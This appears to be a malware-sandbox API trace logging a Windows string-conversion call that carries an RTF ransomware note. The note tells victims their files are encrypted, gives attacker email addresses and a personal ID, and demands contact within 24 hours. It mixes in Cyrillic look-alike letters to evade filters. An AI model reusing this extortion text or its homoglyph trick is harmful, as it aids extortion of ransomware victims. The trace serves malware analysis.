WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d 